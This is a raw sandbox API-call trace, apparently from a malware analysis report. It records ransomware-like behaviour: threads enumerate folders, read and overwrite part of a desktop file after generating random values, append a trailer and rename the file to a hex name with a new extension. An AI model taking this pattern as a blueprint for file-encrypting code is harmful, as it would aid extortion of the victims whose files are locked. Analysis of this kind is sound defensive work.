lpFindFileData=0x1ce56560*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7fffaad0, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7fffaad0, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Inbox", cAlternateFileName="")) returned 1 [0127.045] wcscmp (_String1="Inbox", _String2=".") returned 1 [0127.045] wcscmp (_String1="Inbox", _String2="..") returned 1 [0127.045] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x60) returned 0x1b7a3490 [0127.045] wcscpy (in: _Dest=0x1b7a3490, _Source="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax") returned="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax" [0127.045] wcscat (in: _Dest=0x1b7a3490, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\") returned="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\" [0127.045] wcscat (in: _Dest=0x1b7a3490, _Source="Inbox" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\Inbox") returned="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\Inbox" [0127.045] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b7a3490, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xad8 [0127.046] FindNextFileW (in: hFindFile=0x1b8586d0, lpFindFileData=0x1ce56560 | out: lpFindFileData=0x1ce56560*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7fffaad0, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7fffaad0, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Queue", cAlternateFileName="")) returned 1 [0127.046] wcscmp (_String1="Queue", _String2=".") returned 1 [0127.046] wcscmp (_String1="Queue", _String2="..") returned 1 [0127.046] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x60) returned 0x1b7a3260 [0127.046] wcscpy (in: _Dest=0x1b7a3260, _Source="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax") returned="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax" [0127.046] wcscat (in: _Dest=0x1b7a3260, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\") returned="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\" [0127.046] wcscat (in: _Dest=0x1b7a3260, _Source="Queue" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\Queue") returned="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\Queue" [0127.046] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b7a3260, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x498 [0127.047] FindNextFileW (in: hFindFile=0x1b8586d0, lpFindFileData=0x1ce56560 | out: lpFindFileData=0x1ce56560*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7fffaad0, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7fffaad0, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SentItems", cAlternateFileName="SENTIT~1")) returned 1 [0127.047] wcscmp (_String1="SentItems", _String2=".") returned 1 [0127.047] wcscmp (_String1="SentItems", _String2="..") returned 1 [0127.047] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x68) returned 0x1b7a3340 [0127.048] wcscpy (in: _Dest=0x1b7a3340, _Source="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax") returned="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax" [0127.048] wcscat (in: _Dest=0x1b7a3340, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\") returned="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\" [0127.048] wcscat (in: _Dest=0x1b7a3340, _Source="SentItems" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\SentItems") returned="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\SentItems" [0127.048] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b7a3340, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x404 [0127.050] FindNextFileW (in: hFindFile=0x1b8586d0, lpFindFileData=0x1ce56560 | out: lpFindFileData=0x1ce56560*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x1d91b669, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1d91b669, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1d91b669, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="VirtualInbox", cAlternateFileName="VIRTUA~1")) returned 1 [0127.050] wcscmp (_String1="VirtualInbox", _String2=".") returned 1 [0127.050] wcscmp (_String1="VirtualInbox", _String2="..") returned 1 [0127.051] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6e) returned 0x20503690 [0127.051] wcscpy (in: _Dest=0x20503690, _Source="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax") returned="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax" [0127.051] wcscat (in: _Dest=0x20503690, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\") returned="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\" [0127.051] wcscat (in: _Dest=0x20503690, _Source="VirtualInbox" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\VirtualInbox") returned="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\VirtualInbox" [0127.051] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x20503690, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4ac [0127.052] FindNextFileW (in: hFindFile=0x1b8586d0, lpFindFileData=0x1ce56560 | out: lpFindFileData=0x1ce56560*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x1d91b669, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1d91b669, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1d91b669, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="VirtualInbox", cAlternateFileName="VIRTUA~1")) returned 0 [0127.052] FindClose (in: hFindFile=0x1b8586d0 | out: hFindFile=0x1b8586d0) returned 1 [0127.054] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce56560) returned 1 [0127.054] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9d7f0) returned 1 [0127.054] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd86e50) returned 1 Thread: id = 771 os_tid = 0x12f0 [0098.516] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x5a) returned 0x1b7a3260 [0098.516] wcscpy (in: _Dest=0x1b7a3260, _Source="C:\\ProgramData\\Microsoft\\Windows NT\\MSScan" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows NT\\MSScan") returned="C:\\ProgramData\\Microsoft\\Windows NT\\MSScan" [0098.516] wcscat (in: _Dest=0x1b7a3260, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows NT\\MSScan\\") returned="C:\\ProgramData\\Microsoft\\Windows NT\\MSScan\\" [0098.516] wcscat (in: _Dest=0x1b7a3260, _Source="*" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows NT\\MSScan\\*") returned="C:\\ProgramData\\Microsoft\\Windows NT\\MSScan\\*" [0098.516] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1ce589f0 [0098.516] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows NT\\MSScan\\*", lpFindFileData=0x1ce589f0 | out: lpFindFileData=0x1ce589f0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80340916, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80340916, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd9d250 [0099.242] wcscmp (_String1=".", _String2=".") returned 0 [0099.242] FindNextFileW (in: hFindFile=0x1cd9d250, lpFindFileData=0x1ce589f0 | out: lpFindFileData=0x1ce589f0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80340916, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80340916, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0099.243] wcscmp (_String1="..", _String2=".") returned 1 [0099.243] wcscmp (_String1="..", _String2="..") returned 0 [0099.243] FindNextFileW (in: hFindFile=0x1cd9d250, lpFindFileData=0x1ce589f0 | out: lpFindFileData=0x1ce589f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea12c467, ftCreationTime.dwHighDateTime=0x1c9ea0e, ftLastAccessTime.dwLowDateTime=0xea12c467, ftLastAccessTime.dwHighDateTime=0x1c9ea0e, ftLastWriteTime.dwLowDateTime=0xea1525c5, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x7e148, dwReserved0=0x0, dwReserved1=0x0, cFileName="WelcomeScan.jpg", cAlternateFileName="")) returned 1 [0099.243] wcscmp (_String1="WelcomeScan.jpg", _String2=".") returned 1 [0099.243] wcscmp (_String1="WelcomeScan.jpg", _String2="..") returned 1 [0099.243] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x76) returned 0x1b8693c0 [0099.243] wcscpy (in: _Dest=0x1b8693c0, _Source="C:\\ProgramData\\Microsoft\\Windows NT\\MSScan" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows NT\\MSScan") returned="C:\\ProgramData\\Microsoft\\Windows NT\\MSScan" [0099.243] wcscat (in: _Dest=0x1b8693c0, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows NT\\MSScan\\") returned="C:\\ProgramData\\Microsoft\\Windows NT\\MSScan\\" [0099.243] wcscat (in: _Dest=0x1b8693c0, _Source="WelcomeScan.jpg" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows NT\\MSScan\\WelcomeScan.jpg") returned="C:\\ProgramData\\Microsoft\\Windows NT\\MSScan\\WelcomeScan.jpg" [0126.681] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b8693c0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1534 [0126.682] FindNextFileW (in: hFindFile=0x1cd9d250, lpFindFileData=0x1ce589f0 | out: lpFindFileData=0x1ce589f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea12c467, ftCreationTime.dwHighDateTime=0x1c9ea0e, ftLastAccessTime.dwLowDateTime=0xea12c467, ftLastAccessTime.dwHighDateTime=0x1c9ea0e, ftLastWriteTime.dwLowDateTime=0xea1525c5, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x7e148, dwReserved0=0x0, dwReserved1=0x0, cFileName="WelcomeScan.jpg", cAlternateFileName="")) returned 0 [0126.682] FindClose (in: hFindFile=0x1cd9d250 | out: hFindFile=0x1cd9d250) returned 1 [0126.682] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce589f0) returned 1 [0126.683] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7a3260) returned 1 [0126.683] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b858f10) returned 1 Thread: id = 772 os_tid = 0x12f4 [0098.517] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\03gElhFJMJrB.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\03gelhfjmjrb.wav")) returned 0x20 [0098.517] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\03gElhFJMJrB.wav", dwFileAttributes=0x20) returned 1 [0098.518] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\03gElhFJMJrB.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\03gelhfjmjrb.wav"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1490 [0098.518] GetFileSizeEx (in: hFile=0x1490, lpFileSize=0x1fe2f6c0 | out: lpFileSize=0x1fe2f6c0*=38094) returned 1 [0098.518] SetFilePointerEx (in: hFile=0x1490, liDistanceToMove=0x94ca, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0098.518] ReadFile (in: hFile=0x1490, lpBuffer=0x1fe2f640, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1fe2f688, lpOverlapped=0x0 | out: lpBuffer=0x1fe2f640*, lpNumberOfBytesRead=0x1fe2f688*=0x4, lpOverlapped=0x0) returned 1 [0098.519] SetFilePointerEx (in: hFile=0x1490, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0098.519] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202602c0 [0098.519] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202602f0 [0098.519] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260320 [0098.519] NtQuerySystemTime (in: CurrentTime=0x1fe2f580 | out: CurrentTime=0x1fe2f580*=132462177040438000) returned 0x0 [0098.519] RtlRandomEx (in: Seed=0x1fe2f570 | out: Seed=0x1fe2f570) returned 0x1536bd5e [0098.519] RtlRandomEx (in: Seed=0x1fe2f570 | out: Seed=0x1fe2f570) returned 0x50fa1273 [0098.519] RtlRandomEx (in: Seed=0x1fe2f570 | out: Seed=0x1fe2f570) returned 0x3c052e80 [0098.519] RtlRandomEx (in: Seed=0x1fe2f570 | out: Seed=0x1fe2f570) returned 0x3b5421b6 [0098.519] RtlRandomEx (in: Seed=0x1fe2f570 | out: Seed=0x1fe2f570) returned 0x6826b29c [0098.519] RtlRandomEx (in: Seed=0x1fe2f570 | out: Seed=0x1fe2f570) returned 0x16f14a20 [0098.519] RtlRandomEx (in: Seed=0x1fe2f570 | out: Seed=0x1fe2f570) returned 0x1a02b7d9 [0098.519] RtlRandomEx (in: Seed=0x1fe2f570 | out: Seed=0x1fe2f570) returned 0x226af25 [0098.519] RtlRandomEx (in: Seed=0x1fe2f570 | out: Seed=0x1fe2f570) returned 0x95c6c50 [0098.519] RtlRandomEx (in: Seed=0x1fe2f570 | out: Seed=0x1fe2f570) returned 0x2984d166 [0098.519] RtlRandomEx (in: Seed=0x1fe2f570 | out: Seed=0x1fe2f570) returned 0x612837a8 [0098.519] RtlRandomEx (in: Seed=0x1fe2f570 | out: Seed=0x1fe2f570) returned 0x5e97dda0 [0098.519] RtlRandomEx (in: Seed=0x1fe2f570 | out: Seed=0x1fe2f570) returned 0x6cb0e865 [0098.519] RtlRandomEx (in: Seed=0x1fe2f570 | out: Seed=0x1fe2f570) returned 0x72136be2 [0098.519] RtlRandomEx (in: Seed=0x1fe2f570 | out: Seed=0x1fe2f570) returned 0x961d4b6 [0098.519] RtlRandomEx (in: Seed=0x1fe2f570 | out: Seed=0x1fe2f570) returned 0x5dfa9108 [0098.520] RtlRandomEx (in: Seed=0x1fe2f570 | out: Seed=0x1fe2f570) returned 0x1aba8327 [0098.520] RtlRandomEx (in: Seed=0x1fe2f570 | out: Seed=0x1fe2f570) returned 0x14e6d0a3 [0098.520] RtlRandomEx (in: Seed=0x1fe2f570 | out: Seed=0x1fe2f570) returned 0x766a1d23 [0098.520] RtlRandomEx (in: Seed=0x1fe2f570 | out: Seed=0x1fe2f570) returned 0x44cdf45a [0098.520] RtlRandomEx (in: Seed=0x1fe2f570 | out: Seed=0x1fe2f570) returned 0x21288e02 [0098.520] RtlRandomEx (in: Seed=0x1fe2f570 | out: Seed=0x1fe2f570) returned 0x6bfb0a8a [0098.520] RtlRandomEx (in: Seed=0x1fe2f570 | out: Seed=0x1fe2f570) returned 0x69ef43a4 [0098.520] RtlRandomEx (in: Seed=0x1fe2f570 | out: Seed=0x1fe2f570) returned 0x571f0af6 [0098.520] RtlRandomEx (in: Seed=0x1fe2f570 | out: Seed=0x1fe2f570) returned 0x338e6bda [0098.520] RtlRandomEx (in: Seed=0x1fe2f570 | out: Seed=0x1fe2f570) returned 0x5ffc6a68 [0098.520] RtlRandomEx (in: Seed=0x1fe2f570 | out: Seed=0x1fe2f570) returned 0x1d1cfa58 [0098.520] RtlRandomEx (in: Seed=0x1fe2f570 | out: Seed=0x1fe2f570) returned 0x408a4349 [0098.520] RtlRandomEx (in: Seed=0x1fe2f570 | out: Seed=0x1fe2f570) returned 0x514f448b [0098.520] RtlRandomEx (in: Seed=0x1fe2f570 | out: Seed=0x1fe2f570) returned 0x604de48f [0098.520] RtlRandomEx (in: Seed=0x1fe2f570 | out: Seed=0x1fe2f570) returned 0x3c13781 [0098.520] RtlRandomEx (in: Seed=0x1fe2f570 | out: Seed=0x1fe2f570) returned 0x6308c980 [0098.539] SetFilePointerEx (in: hFile=0x1490, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0098.539] ReadFile (in: hFile=0x1490, lpBuffer=0x2013d170, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x1fe2f5e0, lpOverlapped=0x0 | out: lpBuffer=0x2013d170*, lpNumberOfBytesRead=0x1fe2f5e0*=0x3c00, lpOverlapped=0x0) returned 1 [0098.539] SetFilePointerEx (in: hFile=0x1490, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0098.539] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97300 [0098.539] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b8665c0 [0098.539] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202602c0 [0098.539] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202602c0) returned 1 [0098.539] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x20113cc0 [0098.540] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202602c0 [0098.540] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260320 [0098.540] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20260320) returned 1 [0098.540] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8665c0) returned 1 [0098.540] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97300) returned 1 [0098.540] WriteFile (in: hFile=0x1490, lpBuffer=0x20113cc0*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x1fe2f5e0, lpOverlapped=0x0 | out: lpBuffer=0x20113cc0*, lpNumberOfBytesWritten=0x1fe2f5e0*=0x3c00, lpOverlapped=0x0) returned 1 [0100.488] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20113cc0) returned 1 [0100.488] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2013d170) returned 1 [0100.488] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2e) returned 0x1cd9f070 [0100.904] SetFilePointerEx (in: hFile=0x1490, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0100.904] WriteFile (in: hFile=0x1490, lpBuffer=0x166e00*, nNumberOfBytesToWrite=0x112, lpNumberOfBytesWritten=0x1fe2f690, lpOverlapped=0x0 | out: lpBuffer=0x166e00*, lpNumberOfBytesWritten=0x1fe2f690*=0x112, lpOverlapped=0x0) returned 1 [0101.861] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c710 [0101.861] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79d970 [0101.861] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7aa0 [0101.861] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7aa0) returned 1 [0101.861] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7aa0 [0101.861] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7a70 [0101.861] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced79b0 [0101.861] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced79b0) returned 1 [0101.861] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79d970) returned 1 [0101.861] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c710) returned 1 [0101.862] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x41) returned 0x1b82c710 [0101.862] sprintf (in: _Dest=0x1b82c710, _Format="%c%c" | out: _Dest="65") returned 2 [0101.862] sprintf (in: _Dest=0x1b82c712, _Format="%c%c" | out: _Dest="8d") returned 2 [0101.862] sprintf (in: _Dest=0x1b82c714, _Format="%c%c" | out: _Dest="ad") returned 2 [0101.862] sprintf (in: _Dest=0x1b82c716, _Format="%c%c" | out: _Dest="a5") returned 2 [0101.862] sprintf (in: _Dest=0x1b82c718, _Format="%c%c" | out: _Dest="5e") returned 2 [0101.862] sprintf (in: _Dest=0x1b82c71a, _Format="%c%c" | out: _Dest="8d") returned 2 [0101.862] sprintf (in: _Dest=0x1b82c71c, _Format="%c%c" | out: _Dest="62") returned 2 [0101.862] sprintf (in: _Dest=0x1b82c71e, _Format="%c%c" | out: _Dest="4a") returned 2 [0101.862] sprintf (in: _Dest=0x1b82c720, _Format="%c%c" | out: _Dest="8e") returned 2 [0101.862] sprintf (in: _Dest=0x1b82c722, _Format="%c%c" | out: _Dest="44") returned 2 [0101.862] sprintf (in: _Dest=0x1b82c724, _Format="%c%c" | out: _Dest="0c") returned 2 [0101.862] sprintf (in: _Dest=0x1b82c726, _Format="%c%c" | out: _Dest="e2") returned 2 [0101.862] sprintf (in: _Dest=0x1b82c728, _Format="%c%c" | out: _Dest="42") returned 2 [0101.862] sprintf (in: _Dest=0x1b82c72a, _Format="%c%c" | out: _Dest="53") returned 2 [0101.862] sprintf (in: _Dest=0x1b82c72c, _Format="%c%c" | out: _Dest="fd") returned 2 [0101.862] sprintf (in: _Dest=0x1b82c72e, _Format="%c%c" | out: _Dest="b6") returned 2 [0101.862] sprintf (in: _Dest=0x1b82c730, _Format="%c%c" | out: _Dest="23") returned 2 [0101.863] sprintf (in: _Dest=0x1b82c732, _Format="%c%c" | out: _Dest="7e") returned 2 [0101.863] sprintf (in: _Dest=0x1b82c734, _Format="%c%c" | out: _Dest="60") returned 2 [0101.863] sprintf (in: _Dest=0x1b82c736, _Format="%c%c" | out: _Dest="9a") returned 2 [0101.863] sprintf (in: _Dest=0x1b82c738, _Format="%c%c" | out: _Dest="c9") returned 2 [0101.863] sprintf (in: _Dest=0x1b82c73a, _Format="%c%c" | out: _Dest="5f") returned 2 [0101.863] sprintf (in: _Dest=0x1b82c73c, _Format="%c%c" | out: _Dest="bc") returned 2 [0101.863] sprintf (in: _Dest=0x1b82c73e, _Format="%c%c" | out: _Dest="d7") returned 2 [0101.863] sprintf (in: _Dest=0x1b82c740, _Format="%c%c" | out: _Dest="a1") returned 2 [0101.863] sprintf (in: _Dest=0x1b82c742, _Format="%c%c" | out: _Dest="59") returned 2 [0101.863] sprintf (in: _Dest=0x1b82c744, _Format="%c%c" | out: _Dest="76") returned 2 [0101.863] sprintf (in: _Dest=0x1b82c746, _Format="%c%c" | out: _Dest="23") returned 2 [0101.863] sprintf (in: _Dest=0x1b82c748, _Format="%c%c" | out: _Dest="47") returned 2 [0101.863] sprintf (in: _Dest=0x1b82c74a, _Format="%c%c" | out: _Dest="8a") returned 2 [0101.863] sprintf (in: _Dest=0x1b82c74c, _Format="%c%c" | out: _Dest="41") returned 2 [0101.863] sprintf (in: _Dest=0x1b82c74e, _Format="%c%c" | out: _Dest="bd") returned 2 [0101.863] RtlInitAnsiString (in: DestinationString=0x1fe2f708, SourceString="658dada55e8d624a8e440ce24253fdb6237e609ac95fbcd7a1597623478a41bd" | out: DestinationString="658dada55e8d624a8e440ce24253fdb6237e609ac95fbcd7a1597623478a41bd") [0101.863] RtlAnsiStringToUnicodeString (in: DestinationString=0x1fe2f6d8, SourceString="658dada55e8d624a8e440ce24253fdb6237e609ac95fbcd7a1597623478a41bd", AllocateDestinationString=1 | out: DestinationString="658dada55e8d624a8e440ce24253fdb6237e609ac95fbcd7a1597623478a41bd") returned 0x0 [0101.864] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x82) returned 0x205097b0 [0101.864] wcscat (in: _Dest=0x202aff10, _Source="658dada55e8d624a" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\658dada55e8d624a") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\658dada55e8d624a" [0101.864] wcscat (in: _Dest=0x202aff10, _Source=".2f9b60" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\658dada55e8d624a.2f9b60") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\658dada55e8d624a.2f9b60" [0101.864] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\658dada55e8d624a.2f9b60", NtPathName=0x1fe2f6b0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\658dada55e8d624a.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0101.864] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9a) returned 0x202adfa0 [0106.021] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202adfa0) returned 1 [0106.022] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050e5e0) returned 1 [0106.022] NtQueryInformationFile (in: FileHandle=0x1490, IoStatusBlock=0x1fe2f718, FileInformation=0x1fe2f728, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x1fe2f718, FileInformation=0x1fe2f728) returned 0x0 [0106.022] NtSetInformationFile (FileHandle=0x1490, IoStatusBlock=0x1fe2f718, FileInformation=0x1fe2f728, Length=0x28, FileInformationClass=0x4) returned 0x0 [0107.100] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202aff10) returned 1 [0107.100] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x205097b0) returned 1 [0107.100] FlushFileBuffers (hFile=0x1490) returned 1 [0107.409] CloseHandle (hObject=0x1490) returned 1 [0107.410] RtlAllocateHeap 